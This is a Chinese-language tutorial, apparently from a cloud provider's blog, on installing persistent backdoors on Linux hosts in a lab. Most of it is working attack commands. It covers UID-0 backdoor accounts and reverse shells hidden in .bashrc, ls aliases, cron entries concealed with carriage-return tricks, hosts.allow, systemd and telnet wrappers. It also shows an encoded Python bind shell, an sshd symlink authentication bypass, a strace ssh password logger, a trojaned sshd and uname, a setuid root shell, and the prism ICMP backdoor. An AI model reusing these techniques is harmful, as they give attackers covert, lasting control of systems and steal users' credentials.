您好,登錄后才能下訂單哦!
這篇文章主要介紹“如何理解Linux系統后門”,在日常操作中,相信很多人在如何理解Linux系統后門問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”如何理解Linux系統后門”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
host系統:manjaro linux(192.168.242.1)
虛擬機管理程序:vmware workstation 16
虛擬機:CentOS 7(192.168.242.133)、ubuntu(192.168.242.143)、CentOS 6.5(192.168.242.132)
1、 直接創建
useradd -o -u 0 backdoor && echo "Eu2xa2fu@#" | passwd backdoor --stdin
經驗證可以正常登錄。
//通過交互式方式創建用戶并設置口令
useradd -o -u 0 test1
passwd test1
2、 將命令與PROMPT_COMMAND結合
(1)寫入/root/.bashrc文件
vi /root/.bashrc //編輯root用戶的配置文件,加入下面的內容
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
保存退出
source /root/.bashrc //執行文件中的指令,賬戶被創建。
以后每次切換到root時都會執行/root/.bashrc中的指令,從而創建賬戶。
(2)驗證
cat /etc/passwd | grep hack
后門賬戶創建成功。
useradd -p 0`openssl passwd -1 -salt 'abc' pass1234` -u 0 -o -g root -G root -s /bin/bash hack
創建成功。
//使用ruby實現反彈連接(使用netcat接收)。ruby的反彈連接建立后會轉入后臺,不暴露任何痕跡,非常隱蔽,推薦使用。注意內部的雙引號都是"'"'"。
alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"
//使用ruby實現反彈連接(使用msfconsole接收),注意雙引號的嵌套。
alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end';};alerts"
nc -l -p 5555
由于alias命令可以查看當前的別名,會讓ls的反彈指令暴露。因此需要劫持alias命令,讓它的輸出中不顯示反彈的指令。另外unalias命令會清除別名,因此也要對其進行劫持,避免ls的別名被清除。
//若先創建alias的別名,那么alias就失去了原來alias的功能,則unalias的別名就無法創建了
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
不會清除ls別名。
vi /tmp/.alias.txt //加入下面的內容
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias vi='vim'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
保存退出
alias alias="cat /tmp/.alias.txt"
vi /etc/yum/yum-update.rc //創建文件,加入別名設置
alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias="cat /tmp/.alias.txt"
保存退出
touch -acmr version-groups.conf yum-update.rc
被攻擊者操作:
攻擊者獲得反彈shell:
su //切換到root
echo 'bash -i >& /dev/tcp/192.168.242.1/5555 0>&1' > ~/.bashrc
nc -l -p 5555
su //管理員先以普通用戶身份登錄,之后切換到root
nc -l -p 5555
得到shell,說明.bashrc文件中的反彈指令被執行。
1、添加非隱藏的計劃任務
crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.242.1/5555 0>&1"; } | crontab -
//每分鐘執行一次反彈連接
計劃任務添加成功。
nc -l -p 5555 //攻擊者監聽本地端口
得到shell,說明計劃任務被執行。
2、以隱藏的方式加入計劃任務
(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.242.1/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab -
管理員使用crontab -l看不到添加的的計劃任務。
解釋:
crontab將用戶的計劃任務保存到“/var/spool/cron/用戶名”文件中。crontab -l實際上是使用cat命令查看這個文件:
但使用vim命令查看,這個文件的內容是:
使用cat命令的-A選項也可以看到文件的真正內容:
cat -A /var/spool/cron/root
攻擊者得到反彈連接:
sh -c "echo '* * * * * root cd /tmp && mknod backpipe p && nc 192.168.242.1 5555 0<backpipe | /bin/bash 1>backpipe' >> /etc/crontab"
攻擊者接收反彈連接
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.242.1
set lport 5555
exploit
一分鐘之后即可獲得連接:
vi ~user1/.bashrc //修改配置文件,加入下面的內容
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c \"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))\" 2>/dev/null &)"
保存退出
source ~/.bashrc //使配置立即生效
netstat -an | grep :1025 //查看1025端口的監聽情況。
每次user1用戶登錄都會自動執行其.bashrc文件中的指令,也就是說,開始監聽1025端口。
nc 192.168.242.133 1025
連接成功,得到shell。
原理:Linux軟鏈接ssh后門需要ssh支持PAM認證。將sshd軟鏈接名稱設置為su,這樣在命令啟動后會到PAM配置中查找是否存在對應su的配置信息。
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
開始監聽31337端口。
也可以使用下面的命令監聽端口:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=12345
ssh -p 31337 root@192.168.242.133
使用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。
被攻擊者:manjaro 20系統,編輯用戶的.bashrc配置文件。
vi ~/.bashrc //文件末尾加入下面的指令
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
保存退出
source ~/.bashrc
ssh user1@192.168.242.133 //正常用戶執行ssh連接,在/tmp目錄生成記錄
cat /tmp/sshpwd-2411月111606192953.log | grep -n password | grep write //查找指定信息所在的行,這里是第89行
less /tmp/sshpwd-2411月111606192953.log
輸入89g,跳到第89行
密碼就在這里:123456
ssh-keygen -t rsa //生成公私密鑰對,輸入密鑰短語
vi /etc/ssh/sshd_config //編輯配置文件,設置如下信息
PermitRootLogin yes
StrictModes no
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys
RSAAuthentication yes
保存退出
注意:
(1)RSAAuthentication yes這一行需要手寫到配置文件中最后一行。
(2)AuthorizedKeysFile參數中,%h代表用的主目錄,%h/后面有個點,沒有點將會出現“Permission Denied (publickey)”的錯誤提示,無法連接。
(3)注意取消行首的注釋符。
systemctl restart sshd //重新啟動ssh服務
配置生效。
scp ~/.ssh/id_rsa.pub root@192.168.242.133:~ //攻擊者將本地用戶的公鑰上傳到服務器
上傳成功。注意傳到用戶的主目錄即可,不要復制到~/.ssh/id_rsa.pub,這樣會覆蓋目標主機自己的公鑰文件。注意id_rsa.pub文件不是隱藏的。
也可以使用 ssh-copy-id 將自己的公鑰復制到目標系統
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.133
cat /root/id_rsa.pub >> ~/.ssh/authorized_keys
systemctl restart sshd //重啟ssh服務
ssh -i /root/.ssh/id_rsa root@192.168.242.133
//由于公鑰上傳到了服務器root賬戶的home目錄,所以這里要指定root用戶。如果不指定,則默認使用攻擊者當前的用戶—user1,而前面未向服務器的user1用戶的home目錄上傳公鑰,這樣要登錄還得要賬戶口令驗證。
sudo echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
sudo gcc -o privshell privshell.c //編譯為可執行文件,名為privshell
sudo chown root:root privshell && sudo chmod u+s privshell
./privshell
cd /usr/lib/systemd/system
touch backdoor.service
vi backdoor.service //編輯文件,加入下面的內容
[Unit]
Description=Very important backdoor.
After=network.target
[Service]
Type=forking
ExecStart=nc -e /bin/bash 192.168.242.1 5555 >/dev/null 2>&1
ExecReload=
ExecStop=
PrivateTmp=true
[Install]
WantedBy=multi-user.target
保存退出
chmod +x /usr/lib/systemd/system/backdoor.service
systemctl daemon-reload //重新讀取服務信息
nc -l -p 5555
systemctl enable backdoor
systemctl start backdoor
TCP_Wrappers是一個工作在應用層的安全工具,它對某些具體應用或者服務可以起到一定的防護作用。比如說針對ssh、telnet、FTP等服務的請求,都會先受到TCP_Wrappers的攔截。
TCP_Wrappers有一個TCP的守護進程叫作tcpd。以telnet為例,每當有telnet的連接請求時,tcpd即會截獲請求,先讀取系統管理員所設置的訪問控制文件,合乎要求,則會把這次連接原封不動的轉給真正的telnet進程,由telnet完成后續工作;如果這次連接發起的ip不符合訪問控制文件中的設置,則會中斷連接請求。
vi /etc/hosts.allow //編輯配置文件,加入下面的內容
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.242.1/443 0>&1") & :allow
保存退出。
上面指令的含義是,允許所有的連接,并且當連接出現時,啟動bash進行反彈連接。
sudo nc -l -p 443
ssh 192.168.242.133 //連接目標服務器的22端口
無需輸入口令
成功獲取反彈shell,權限為root。
apt-get install rsh-client rsh-server xinetd
touch /etc/xinetd.d/rsh && vi /etc/xinetd.d/rsh //加入下面的內容
# default: on
# descrīption: The rshd server is the server for the rcmd(3) routine and, \
# consequently, for the rsh(1) program. The server provides \
# remote execution facilities with authentication based on \
# privileged port numbers from trusted hosts.
service shell
{
disable = no
socket_type = stream
wait = no
user = root
log_on_success += USERID
log_on_failure += USERID
server = /usr/sbin/in.rshd
}
/etc/xinetd.d/rlogin
# default: on
# descrīption: rlogind is the server for the rlogin(1) program. The server \
# provides a remote login facility with authentication based on \
# privileged port numbers from trusted hosts.
service login
{
disable = no
socket_type = stream
wait = no
user = root
log_on_success += USERID
log_on_failure += USERID
server = /usr/sbin/in.rlogind
}
/etc/xinetd.d/rexec
# default: off
# descrīption: Rexecd is the server for the rexec(3) routine. The server \
# provides remote execution facilities with authentication based \
# on user names and passwords.
service exec
{
disable = no
socket_type = stream
wait = no
user = root
log_on_success += USERID
log_on_failure += USERID
server = /usr/sbin/in.rexecd
}
保存退出
/etc/init.d/xinetd restart //重啟服務,rsh等服務隨之啟動
vi /root/.rhosts //編輯文件,加入下面的內容
+ +
保存退出
rsh 192.168.242.143 date //遠程執行系統命令
執行成功
rsh 192.168.242.143 /bin/bash //獲取遠程系統的shell
后門創建成功。
sudo apt-get install xinetd telnetd
dpkg -L xinetd | grep '/usr/sbin/\|/etc/' //查看xinetd的可執行文件和配置文件
/usr/sbin/xinetd
/usr/sbin/itox
/usr/sbin/xconv.pl
/etc/init
/etc/init/xinetd.conf
/etc/xinetd.conf
/etc/init.d
/etc/init.d/xinetd
/etc/default
/etc/default/xinetd
/etc/xinetd.d
/etc/xinetd.d/daytime
/etc/xinetd.d/time
/etc/xinetd.d/discard
/etc/xinetd.d/echo
/etc/xinetd.d/chargen
dpkg -L telnetd | grep '/usr/sbin\|/etc/' //查看telnetd的可執行文件和配置文件
/usr/sbin
/usr/sbin/in.telnetd
telnetd軟件包只有可執行文件,沒有配置文件。
vi /etc/xinetd.d/telnet //默認不存在,創建并編輯,加入下面內容
# default: on
# description: The telnet server serves telnet sessions; it uses \
# unencrypted username/password pairs for authentication.
service telnet
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
}
保存退出。
/etc/init.d/xinetd restart //重啟xinetd服務
netstat -an | grep :23 //查看端口監聽情況
vi /etc/securetty //加入下面內容
pts/0
pts/1
pts/2
pts/3
保存退出。
service xinetd restart //重啟服務
這樣root就可以通過pts/0到pts/3這幾個終端登錄linux了。
touch telnetd.sh && chmod +x telnetd.sh
vi telnetd.sh //編輯文件,加入下面的內容
#!/bin/bash
socat udp-connect:192.168.242.1:5555 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
/usr/sbin/in.telnetd
保存退出。
vi /etc/xinetd.d/telnet
server = /usr/sbin/in.telnetd
改為
server = /home/user1/telnetd.sh
保存退出。
/etc/init.d/xinetd restart //重啟xinetd服務
netstat -an | grep :23 //查看端口監聽情況
nc -ul -p 5555
telnet 192.168.242.143
telnet服務命令被觸發,執行服務配置文件中指定的腳本。
mv /usr/sbin/sshd /usr/bin/ //將真正的sshd程序轉移
touch /usr/sbin/sshd //創建假冒的sshd腳本文件
vi /usr/sbin/sshd //編輯文件,加入下面的內容
#!/usr/bin/perl
exec"/bin/bash"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
保存退出
chmod +x /usr/sbin/sshd //給予執行權限
systemctl restart sshd //重啟ssh服務,實際上執行了惡意腳本中的代碼
socat STDIO TCP4:192.168.242.133:22,sourceport=19526
注意必須加上源端口參數。
touch /usr/local/bin/uname //創建后門腳本文件
vi /usr/local/bin/uname //編輯文件,加入下面的內容
#!/bin/bash
nc -l -v -p 4444 -e /bin/bash 2>/dev/null &
socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &
socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &
perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &
/bin/uname $@
保存退出。上面的四條監聽端口的命令選擇執行其中一條就可以。
uname -r
可以看到,執行是正常的。但是端口也暗中開始監聽了:
nc 192.168.242.133 4444
四個端口都可以連接。
https://github.com/andreafabrizi/prism/
gcc -DDETACH -m32 -Wall -s -o prism prism.c
編譯成功,生成了可執行文件。
scp prism user1@192.168.242.132:/home/user1/
nc -l -p 6666
yum install glibc.i686
./prism //以root身份運行
運行后沒有提示
python2 sendPacket.py 192.168.242.132 p4ssw0rd 192.168.242.1 6666
連接口令默認為p4ssw0rd。
最初的sendPacket.py發出的是icmp包。抓包確認:
第一個包是ICMP request,包的內容中可以看到反彈地址和連接口令。
后面的包就都是TCP協議的數據包了。
控制端發出cat /etc/passwd命令,從受控端回傳給控制端的數據包來看,能看出源、目的IP地址,源、目的端口。并且還能看到數據,是cat /etc/passwd命令的結果。
所以prism只是通過icmp進行連接的觸發,后續的命令和都是通過TCP協議傳輸的。該軟件適用于攻擊者無法主動連接到服務器的TCP/UDP端口,但是可以ping通服務器的情況。prism在服務器上監聽icmp請求,并驗證連接口令。驗證通過之后服務器主動連接到攻擊者的VPS,攻擊者得到反彈shell。由此可見prism是一個icmp后門。
到此,關于“如何理解Linux系統后門”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。